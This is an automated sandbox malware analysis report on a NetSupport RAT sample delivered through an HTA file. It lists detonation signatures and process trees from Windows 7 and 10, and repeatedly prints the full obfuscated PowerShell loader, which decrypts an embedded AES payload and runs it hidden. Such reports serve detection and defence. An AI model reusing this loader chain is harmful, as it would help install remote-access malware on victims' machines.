Malware Analysis Report

2024-10-23 16:16

Sample ID 240125-q8qb6aghg3
Target freorra.zip
SHA256 1cdbdf9476b04724e12564394094ffa0f74e5345b2fd4d26a78749c408d34f8e
Tags
netsupport rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

1cdbdf9476b04724e12564394094ffa0f74e5345b2fd4d26a78749c408d34f8e

Threat Level: Known bad

The file freorra.zip was found to be: Known bad.

Malicious Activity Summary

netsupport rat

NetSupport

Downloads MZ/PE file

Blocklisted process makes network request

Loads dropped DLL

Checks computer location settings

Executes dropped EXE

Enumerates physical storage devices

Suspicious use of FindShellTrayWindow

Modifies Internet Explorer settings

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-01-25 13:56

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-01-25 13:56

Reported

2024-01-25 13:58

Platform

win7-20231129-en

Max time kernel

118s

Max time network

119s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\freorra.hta"

Signatures

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1752 wrote to memory of 1580 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1752 wrote to memory of 1580 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1752 wrote to memory of 1580 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1752 wrote to memory of 1580 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1580 wrote to memory of 2788 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 1580 wrote to memory of 2788 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 1580 wrote to memory of 2788 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 1580 wrote to memory of 2788 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2788 wrote to memory of 2644 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2788 wrote to memory of 2644 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2788 wrote to memory of 2644 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2788 wrote to memory of 2644 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2788 wrote to memory of 2648 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2788 wrote to memory of 2648 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2788 wrote to memory of 2648 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2788 wrote to memory of 2648 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\freorra.hta"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $TXrH = 'AAAAAAAAAAAAAAAAAAAAALgoMIpXuiI6hGAhDsh3cJWwBb7QNE/LADXObYijVjWtxjRg/erskurYB0bHeZOKqF4CFw8yxVGBj/V854KAZi45qjmxBh8Sp7nADYvtuZg5JvdH9DB453dLjjhbpYt1TbWvJABEbgfBx984MdG2Y31vv1vvjYenwcGn2aGBbJlsc8ZTNIfpu3FbQPC0+PbcUZZNXwArWzvi2ekld3wnfv0FQwUphxilv3W2KnLGcJ28FeOz263ZcPelR3I94DxsGQn+WUTLDAkce5K77G7oV1DtOdnypYcIu+7D4caMvuhiywazKzCz4coAy05LrxwogHYTxQSxnV1VDoPbko4J5fAnfz8S7GPbs7QP0QpZUiyWojTvOXkVJjmyAAFv052kHslxkYz5IHdiLLgy1x97fI8UmN/8k5m1P4UvNtshcnu+9AHkYUW0q+pTFS7j1/zbyIdXkDB60nXKIvClOUZ4kuIM64ykKTLxDu9BPX7zEsaQ9kbEUCja3MLsffMuTsVFndQGah4WlH6dSSZUbU6KGnH9+PIx1YeKzpkUQuyzK8bxrsyST3QfEqzMktkt8KkEX0NcBE8ZzL+eWSCPTgZNjiKVSYNaQ2/7jUVd+ZRvdX4SN1pDXlfCPxOHNsbTKlbCBLkNT6LpF8IlhBciDnBFqdoB8Ai/oAn8+bQUi44AQgAFso2d0PWok5578jGnbGVb5mpBxe64to+dNLBvysTQRSSH8YuyvS0fU2sNXkgu1w/BFxyTTXE6xoMDmE3FzclKVE2SJjOjljZEqtN+HploPSJLUHzdwAAxF+QdFzYLAHhBJvVTyXwCj47cNIFzIYJ11p45L1t4TtnMrPRf4ebqCyM8zU7W1Ot4wmEfJQeydAkaQdQLq7g/nWO2EQpNCMOZWHjaU16WhPM7rEFWr2EtNAscFkSA2hLokAt8TsVE9KDS+B7O29zBh+NI53ykRWgPn0168OPztlvljgCbma3Xy3HkLtWxsoJ42L8NzT16vKahO/sRCfGckm1y10bH2LtaIS5wVHpOV6wkvC7UM4Qwebp0IEDRbLJ7SMe1LHX91xlPzthqvN7q5yOdMt8kYl2+kI4a3wBPHKfCrwaoX3Gx8+QYg2quKy3GpQNuAQhZn0vaQbJbbsZf2ERD0Jgp3BiKKfKvZ3H6MV4lIcu99w+MI7vQEM1nn1Y5Pfij1PdnGm6RNqPnlW/gY37EZSlqaUPZE2YlFT2SD41rqzSQ/O2RErCj6DTOa1we6UT0y1RtZI0/SYvyRyPJJSV16ppu6K8JTuTephe/UuuyXC06nACft+1jc/NgDqxCLL85NCNp5KanqLiIyIMcOitJe34VpFkw+K+4kTvlabUucxlKGU4Oj1wlXDGcUOIwCfspI17dJTGhIwlofVWr8D4+Ui+iUrDK7tlJTvTwCSf3zIwdvhOMkt37MGOGgMa1ClgiuCzvTnjpRyoxjfN/4EWhDsqmWUv5pJATyiSL1sHmdGr6UoOwAG2Tf8vCRXcJsPeDguyaa5Ff56cjjaNnuJ6PaKkmQPDrhrAndL0u4+cdwCXIENm2W9s=';$wxWgH = 'SWFxeExKaHRER3pMQUdKVEtEQUhkeUNoTFVXR0tWaEw=';$CEOmdHTE = New-Object 'System.Security.Cryptography.AesManaged';$CEOmdHTE.Mode = [System.Security.Cryptography.CipherMode]::ECB;$CEOmdHTE.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$CEOmdHTE.BlockSize = 128;$CEOmdHTE.KeySize = 256;$CEOmdHTE.Key = [System.Convert]::FromBase64String($wxWgH);$pnTxK = [System.Convert]::FromBase64String($TXrH);$aMhCKShb = $pnTxK[0..15];$CEOmdHTE.IV = $aMhCKShb;$pWmtDyKaS = $CEOmdHTE.CreateDecryptor();$ITgvgxojq = $pWmtDyKaS.TransformFinalBlock($pnTxK, 16, $pnTxK.Length - 16);$CEOmdHTE.Dispose();$GQHIEKgG = New-Object System.IO.MemoryStream( , $ITgvgxojq );$akmEE = New-Object System.IO.MemoryStream;$jlseYdskN = New-Object System.IO.Compression.GzipStream $GQHIEKgG, ([IO.Compression.CompressionMode]::Decompress);$jlseYdskN.CopyTo( $akmEE );$jlseYdskN.Close();$GQHIEKgG.Close();[byte[]] $toUVnm = $akmEE.ToArray();$JuOsS = [System.Text.Encoding]::UTF8.GetString($toUVnm);$JuOsS | powershell - }

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c powershell.exe $TXrH = 'AAAAAAAAAAAAAAAAAAAAALgoMIpXuiI6hGAhDsh3cJWwBb7QNE/LADXObYijVjWtxjRg/erskurYB0bHeZOKqF4CFw8yxVGBj/V854KAZi45qjmxBh8Sp7nADYvtuZg5JvdH9DB453dLjjhbpYt1TbWvJABEbgfBx984MdG2Y31vv1vvjYenwcGn2aGBbJlsc8ZTNIfpu3FbQPC0+PbcUZZNXwArWzvi2ekld3wnfv0FQwUphxilv3W2KnLGcJ28FeOz263ZcPelR3I94DxsGQn+WUTLDAkce5K77G7oV1DtOdnypYcIu+7D4caMvuhiywazKzCz4coAy05LrxwogHYTxQSxnV1VDoPbko4J5fAnfz8S7GPbs7QP0QpZUiyWojTvOXkVJjmyAAFv052kHslxkYz5IHdiLLgy1x97fI8UmN/8k5m1P4UvNtshcnu+9AHkYUW0q+pTFS7j1/zbyIdXkDB60nXKIvClOUZ4kuIM64ykKTLxDu9BPX7zEsaQ9kbEUCja3MLsffMuTsVFndQGah4WlH6dSSZUbU6KGnH9+PIx1YeKzpkUQuyzK8bxrsyST3QfEqzMktkt8KkEX0NcBE8ZzL+eWSCPTgZNjiKVSYNaQ2/7jUVd+ZRvdX4SN1pDXlfCPxOHNsbTKlbCBLkNT6LpF8IlhBciDnBFqdoB8Ai/oAn8+bQUi44AQgAFso2d0PWok5578jGnbGVb5mpBxe64to+dNLBvysTQRSSH8YuyvS0fU2sNXkgu1w/BFxyTTXE6xoMDmE3FzclKVE2SJjOjljZEqtN+HploPSJLUHzdwAAxF+QdFzYLAHhBJvVTyXwCj47cNIFzIYJ11p45L1t4TtnMrPRf4ebqCyM8zU7W1Ot4wmEfJQeydAkaQdQLq7g/nWO2EQpNCMOZWHjaU16WhPM7rEFWr2EtNAscFkSA2hLokAt8TsVE9KDS+B7O29zBh+NI53ykRWgPn0168OPztlvljgCbma3Xy3HkLtWxsoJ42L8NzT16vKahO/sRCfGckm1y10bH2LtaIS5wVHpOV6wkvC7UM4Qwebp0IEDRbLJ7SMe1LHX91xlPzthqvN7q5yOdMt8kYl2+kI4a3wBPHKfCrwaoX3Gx8+QYg2quKy3GpQNuAQhZn0vaQbJbbsZf2ERD0Jgp3BiKKfKvZ3H6MV4lIcu99w+MI7vQEM1nn1Y5Pfij1PdnGm6RNqPnlW/gY37EZSlqaUPZE2YlFT2SD41rqzSQ/O2RErCj6DTOa1we6UT0y1RtZI0/SYvyRyPJJSV16ppu6K8JTuTephe/UuuyXC06nACft+1jc/NgDqxCLL85NCNp5KanqLiIyIMcOitJe34VpFkw+K+4kTvlabUucxlKGU4Oj1wlXDGcUOIwCfspI17dJTGhIwlofVWr8D4+Ui+iUrDK7tlJTvTwCSf3zIwdvhOMkt37MGOGgMa1ClgiuCzvTnjpRyoxjfN/4EWhDsqmWUv5pJATyiSL1sHmdGr6UoOwAG2Tf8vCRXcJsPeDguyaa5Ff56cjjaNnuJ6PaKkmQPDrhrAndL0u4+cdwCXIENm2W9s=';$wxWgH = 'SWFxeExKaHRER3pMQUdKVEtEQUhkeUNoTFVXR0tWaEw=';$CEOmdHTE = New-Object 'System.Security.Cryptography.AesManaged';$CEOmdHTE.Mode = [System.Security.Cryptography.CipherMode]::ECB;$CEOmdHTE.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$CEOmdHTE.BlockSize = 128;$CEOmdHTE.KeySize = 256;$CEOmdHTE.Key = [System.Convert]::FromBase64String($wxWgH);$pnTxK = [System.Convert]::FromBase64String($TXrH);$aMhCKShb = $pnTxK[0..15];$CEOmdHTE.IV = $aMhCKShb;$pWmtDyKaS = $CEOmdHTE.CreateDecryptor();$ITgvgxojq = $pWmtDyKaS.TransformFinalBlock($pnTxK, 16, $pnTxK.Length - 16);$CEOmdHTE.Dispose();$GQHIEKgG = New-Object System.IO.MemoryStream( , $ITgvgxojq );$akmEE = New-Object System.IO.MemoryStream;$jlseYdskN = New-Object System.IO.Compression.GzipStream $GQHIEKgG, ([IO.Compression.CompressionMode]::Decompress);$jlseYdskN.CopyTo( $akmEE );$jlseYdskN.Close();$GQHIEKgG.Close();[byte[]] $toUVnm = $akmEE.ToArray();$JuOsS = [System.Text.Encoding]::UTF8.GetString($toUVnm);$JuOsS | powershell -

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell.exe $TXrH = 'AAAAAAAAAAAAAAAAAAAAALgoMIpXuiI6hGAhDsh3cJWwBb7QNE/LADXObYijVjWtxjRg/erskurYB0bHeZOKqF4CFw8yxVGBj/V854KAZi45qjmxBh8Sp7nADYvtuZg5JvdH9DB453dLjjhbpYt1TbWvJABEbgfBx984MdG2Y31vv1vvjYenwcGn2aGBbJlsc8ZTNIfpu3FbQPC0+PbcUZZNXwArWzvi2ekld3wnfv0FQwUphxilv3W2KnLGcJ28FeOz263ZcPelR3I94DxsGQn+WUTLDAkce5K77G7oV1DtOdnypYcIu+7D4caMvuhiywazKzCz4coAy05LrxwogHYTxQSxnV1VDoPbko4J5fAnfz8S7GPbs7QP0QpZUiyWojTvOXkVJjmyAAFv052kHslxkYz5IHdiLLgy1x97fI8UmN/8k5m1P4UvNtshcnu+9AHkYUW0q+pTFS7j1/zbyIdXkDB60nXKIvClOUZ4kuIM64ykKTLxDu9BPX7zEsaQ9kbEUCja3MLsffMuTsVFndQGah4WlH6dSSZUbU6KGnH9+PIx1YeKzpkUQuyzK8bxrsyST3QfEqzMktkt8KkEX0NcBE8ZzL+eWSCPTgZNjiKVSYNaQ2/7jUVd+ZRvdX4SN1pDXlfCPxOHNsbTKlbCBLkNT6LpF8IlhBciDnBFqdoB8Ai/oAn8+bQUi44AQgAFso2d0PWok5578jGnbGVb5mpBxe64to+dNLBvysTQRSSH8YuyvS0fU2sNXkgu1w/BFxyTTXE6xoMDmE3FzclKVE2SJjOjljZEqtN+HploPSJLUHzdwAAxF+QdFzYLAHhBJvVTyXwCj47cNIFzIYJ11p45L1t4TtnMrPRf4ebqCyM8zU7W1Ot4wmEfJQeydAkaQdQLq7g/nWO2EQpNCMOZWHjaU16WhPM7rEFWr2EtNAscFkSA2hLokAt8TsVE9KDS+B7O29zBh+NI53ykRWgPn0168OPztlvljgCbma3Xy3HkLtWxsoJ42L8NzT16vKahO/sRCfGckm1y10bH2LtaIS5wVHpOV6wkvC7UM4Qwebp0IEDRbLJ7SMe1LHX91xlPzthqvN7q5yOdMt8kYl2+kI4a3wBPHKfCrwaoX3Gx8+QYg2quKy3GpQNuAQhZn0vaQbJbbsZf2ERD0Jgp3BiKKfKvZ3H6MV4lIcu99w+MI7vQEM1nn1Y5Pfij1PdnGm6RNqPnlW/gY37EZSlqaUPZE2YlFT2SD41rqzSQ/O2RErCj6DTOa1we6UT0y1RtZI0/SYvyRyPJJSV16ppu6K8JTuTephe/UuuyXC06nACft+1jc/NgDqxCLL85NCNp5KanqLiIyIMcOitJe34VpFkw+K+4kTvlabUucxlKGU4Oj1wlXDGcUOIwCfspI17dJTGhIwlofVWr8D4+Ui+iUrDK7tlJTvTwCSf3zIwdvhOMkt37MGOGgMa1ClgiuCzvTnjpRyoxjfN/4EWhDsqmWUv5pJATyiSL1sHmdGr6UoOwAG2Tf8vCRXcJsPeDguyaa5Ff56cjjaNnuJ6PaKkmQPDrhrAndL0u4+cdwCXIENm2W9s=';$wxWgH = 'SWFxeExKaHRER3pMQUdKVEtEQUhkeUNoTFVXR0tWaEw=';$CEOmdHTE = New-Object 'System.Security.Cryptography.AesManaged';$CEOmdHTE.Mode = [System.Security.Cryptography.CipherMode]::ECB;$CEOmdHTE.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$CEOmdHTE.BlockSize = 128;$CEOmdHTE.KeySize = 256;$CEOmdHTE.Key = [System.Convert]::FromBase64String($wxWgH);$pnTxK = [System.Convert]::FromBase64String($TXrH);$aMhCKShb = $pnTxK[0..15];$CEOmdHTE.IV = $aMhCKShb;$pWmtDyKaS = $CEOmdHTE.CreateDecryptor();$ITgvgxojq = $pWmtDyKaS.TransformFinalBlock($pnTxK, 16, $pnTxK.Length - 16);$CEOmdHTE.Dispose();$GQHIEKgG = New-Object System.IO.MemoryStream( , $ITgvgxojq );$akmEE = New-Object System.IO.MemoryStream;$jlseYdskN = New-Object System.IO.Compression.GzipStream $GQHIEKgG, ([IO.Compression.CompressionMode]::Decompress);$jlseYdskN.CopyTo( $akmEE );$jlseYdskN.Close();$GQHIEKgG.Close();[byte[]] $toUVnm = $akmEE.ToArray();$JuOsS = [System.Text.Encoding]::UTF8.GetString($toUVnm);$JuOsS

Network

N/A

Files

memory/1580-2-0x0000000072040000-0x00000000725EB000-memory.dmp

memory/1580-3-0x0000000001D80000-0x0000000001DC0000-memory.dmp

memory/1580-4-0x0000000072040000-0x00000000725EB000-memory.dmp

memory/1580-5-0x0000000001D80000-0x0000000001DC0000-memory.dmp

memory/1580-6-0x0000000072040000-0x00000000725EB000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 0b7dab35f977016b2b725f7005801194
SHA1 4ca9989d74b78d42f939155b18aa6248201169fe
SHA256 ac727e1be9d2b2f38b5c320626e10f285f18ea6a593709b80468e6b8de6cb529
SHA512 3ecb964a6add764b98b168036178de0ed4fd5d1350bb62cd0ecf961d4e524292a3618761139998261ff68082f5c97a33126f8ba690c540f70de56567c6d75399

memory/2644-21-0x0000000002710000-0x0000000002750000-memory.dmp

memory/2648-22-0x0000000002A40000-0x0000000002A80000-memory.dmp

memory/2648-24-0x0000000002A40000-0x0000000002A80000-memory.dmp

memory/2648-23-0x0000000072040000-0x00000000725EB000-memory.dmp

memory/2644-20-0x0000000002710000-0x0000000002750000-memory.dmp

memory/2648-25-0x0000000072040000-0x00000000725EB000-memory.dmp

memory/2644-19-0x0000000072040000-0x00000000725EB000-memory.dmp

memory/2644-18-0x0000000002710000-0x0000000002750000-memory.dmp

memory/2644-17-0x0000000072040000-0x00000000725EB000-memory.dmp

memory/2644-35-0x0000000072040000-0x00000000725EB000-memory.dmp

memory/2648-36-0x0000000072040000-0x00000000725EB000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-01-25 13:56

Reported

2024-01-25 13:58

Platform

win10v2004-20231215-en

Max time kernel

136s

Max time network

161s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\freorra.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Signatures

NetSupport

rat netsupport

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\ForgotME\digitaks.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\ForgotME\digitaks.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\ForgotME\digitaks.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4416 wrote to memory of 2920 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4416 wrote to memory of 2920 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4416 wrote to memory of 2920 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2920 wrote to memory of 1824 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2920 wrote to memory of 1824 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2920 wrote to memory of 1824 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 1824 wrote to memory of 3176 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1824 wrote to memory of 3176 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1824 wrote to memory of 3176 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1824 wrote to memory of 1660 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1824 wrote to memory of 1660 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1824 wrote to memory of 1660 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1660 wrote to memory of 368 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\ForgotME\digitaks.exe
PID 1660 wrote to memory of 368 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\ForgotME\digitaks.exe
PID 1660 wrote to memory of 368 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\ForgotME\digitaks.exe

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\freorra.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $TXrH = 'AAAAAAAAAAAAAAAAAAAAALgoMIpXuiI6hGAhDsh3cJWwBb7QNE/LADXObYijVjWtxjRg/erskurYB0bHeZOKqF4CFw8yxVGBj/V854KAZi45qjmxBh8Sp7nADYvtuZg5JvdH9DB453dLjjhbpYt1TbWvJABEbgfBx984MdG2Y31vv1vvjYenwcGn2aGBbJlsc8ZTNIfpu3FbQPC0+PbcUZZNXwArWzvi2ekld3wnfv0FQwUphxilv3W2KnLGcJ28FeOz263ZcPelR3I94DxsGQn+WUTLDAkce5K77G7oV1DtOdnypYcIu+7D4caMvuhiywazKzCz4coAy05LrxwogHYTxQSxnV1VDoPbko4J5fAnfz8S7GPbs7QP0QpZUiyWojTvOXkVJjmyAAFv052kHslxkYz5IHdiLLgy1x97fI8UmN/8k5m1P4UvNtshcnu+9AHkYUW0q+pTFS7j1/zbyIdXkDB60nXKIvClOUZ4kuIM64ykKTLxDu9BPX7zEsaQ9kbEUCja3MLsffMuTsVFndQGah4WlH6dSSZUbU6KGnH9+PIx1YeKzpkUQuyzK8bxrsyST3QfEqzMktkt8KkEX0NcBE8ZzL+eWSCPTgZNjiKVSYNaQ2/7jUVd+ZRvdX4SN1pDXlfCPxOHNsbTKlbCBLkNT6LpF8IlhBciDnBFqdoB8Ai/oAn8+bQUi44AQgAFso2d0PWok5578jGnbGVb5mpBxe64to+dNLBvysTQRSSH8YuyvS0fU2sNXkgu1w/BFxyTTXE6xoMDmE3FzclKVE2SJjOjljZEqtN+HploPSJLUHzdwAAxF+QdFzYLAHhBJvVTyXwCj47cNIFzIYJ11p45L1t4TtnMrPRf4ebqCyM8zU7W1Ot4wmEfJQeydAkaQdQLq7g/nWO2EQpNCMOZWHjaU16WhPM7rEFWr2EtNAscFkSA2hLokAt8TsVE9KDS+B7O29zBh+NI53ykRWgPn0168OPztlvljgCbma3Xy3HkLtWxsoJ42L8NzT16vKahO/sRCfGckm1y10bH2LtaIS5wVHpOV6wkvC7UM4Qwebp0IEDRbLJ7SMe1LHX91xlPzthqvN7q5yOdMt8kYl2+kI4a3wBPHKfCrwaoX3Gx8+QYg2quKy3GpQNuAQhZn0vaQbJbbsZf2ERD0Jgp3BiKKfKvZ3H6MV4lIcu99w+MI7vQEM1nn1Y5Pfij1PdnGm6RNqPnlW/gY37EZSlqaUPZE2YlFT2SD41rqzSQ/O2RErCj6DTOa1we6UT0y1RtZI0/SYvyRyPJJSV16ppu6K8JTuTephe/UuuyXC06nACft+1jc/NgDqxCLL85NCNp5KanqLiIyIMcOitJe34VpFkw+K+4kTvlabUucxlKGU4Oj1wlXDGcUOIwCfspI17dJTGhIwlofVWr8D4+Ui+iUrDK7tlJTvTwCSf3zIwdvhOMkt37MGOGgMa1ClgiuCzvTnjpRyoxjfN/4EWhDsqmWUv5pJATyiSL1sHmdGr6UoOwAG2Tf8vCRXcJsPeDguyaa5Ff56cjjaNnuJ6PaKkmQPDrhrAndL0u4+cdwCXIENm2W9s=';$wxWgH = 'SWFxeExKaHRER3pMQUdKVEtEQUhkeUNoTFVXR0tWaEw=';$CEOmdHTE = New-Object 'System.Security.Cryptography.AesManaged';$CEOmdHTE.Mode = [System.Security.Cryptography.CipherMode]::ECB;$CEOmdHTE.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$CEOmdHTE.BlockSize = 128;$CEOmdHTE.KeySize = 256;$CEOmdHTE.Key = [System.Convert]::FromBase64String($wxWgH);$pnTxK = [System.Convert]::FromBase64String($TXrH);$aMhCKShb = $pnTxK[0..15];$CEOmdHTE.IV = $aMhCKShb;$pWmtDyKaS = $CEOmdHTE.CreateDecryptor();$ITgvgxojq = $pWmtDyKaS.TransformFinalBlock($pnTxK, 16, $pnTxK.Length - 16);$CEOmdHTE.Dispose();$GQHIEKgG = New-Object System.IO.MemoryStream( , $ITgvgxojq );$akmEE = New-Object System.IO.MemoryStream;$jlseYdskN = New-Object System.IO.Compression.GzipStream $GQHIEKgG, ([IO.Compression.CompressionMode]::Decompress);$jlseYdskN.CopyTo( $akmEE );$jlseYdskN.Close();$GQHIEKgG.Close();[byte[]] $toUVnm = $akmEE.ToArray();$JuOsS = [System.Text.Encoding]::UTF8.GetString($toUVnm);$JuOsS | powershell - }

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c powershell.exe $TXrH = 'AAAAAAAAAAAAAAAAAAAAALgoMIpXuiI6hGAhDsh3cJWwBb7QNE/LADXObYijVjWtxjRg/erskurYB0bHeZOKqF4CFw8yxVGBj/V854KAZi45qjmxBh8Sp7nADYvtuZg5JvdH9DB453dLjjhbpYt1TbWvJABEbgfBx984MdG2Y31vv1vvjYenwcGn2aGBbJlsc8ZTNIfpu3FbQPC0+PbcUZZNXwArWzvi2ekld3wnfv0FQwUphxilv3W2KnLGcJ28FeOz263ZcPelR3I94DxsGQn+WUTLDAkce5K77G7oV1DtOdnypYcIu+7D4caMvuhiywazKzCz4coAy05LrxwogHYTxQSxnV1VDoPbko4J5fAnfz8S7GPbs7QP0QpZUiyWojTvOXkVJjmyAAFv052kHslxkYz5IHdiLLgy1x97fI8UmN/8k5m1P4UvNtshcnu+9AHkYUW0q+pTFS7j1/zbyIdXkDB60nXKIvClOUZ4kuIM64ykKTLxDu9BPX7zEsaQ9kbEUCja3MLsffMuTsVFndQGah4WlH6dSSZUbU6KGnH9+PIx1YeKzpkUQuyzK8bxrsyST3QfEqzMktkt8KkEX0NcBE8ZzL+eWSCPTgZNjiKVSYNaQ2/7jUVd+ZRvdX4SN1pDXlfCPxOHNsbTKlbCBLkNT6LpF8IlhBciDnBFqdoB8Ai/oAn8+bQUi44AQgAFso2d0PWok5578jGnbGVb5mpBxe64to+dNLBvysTQRSS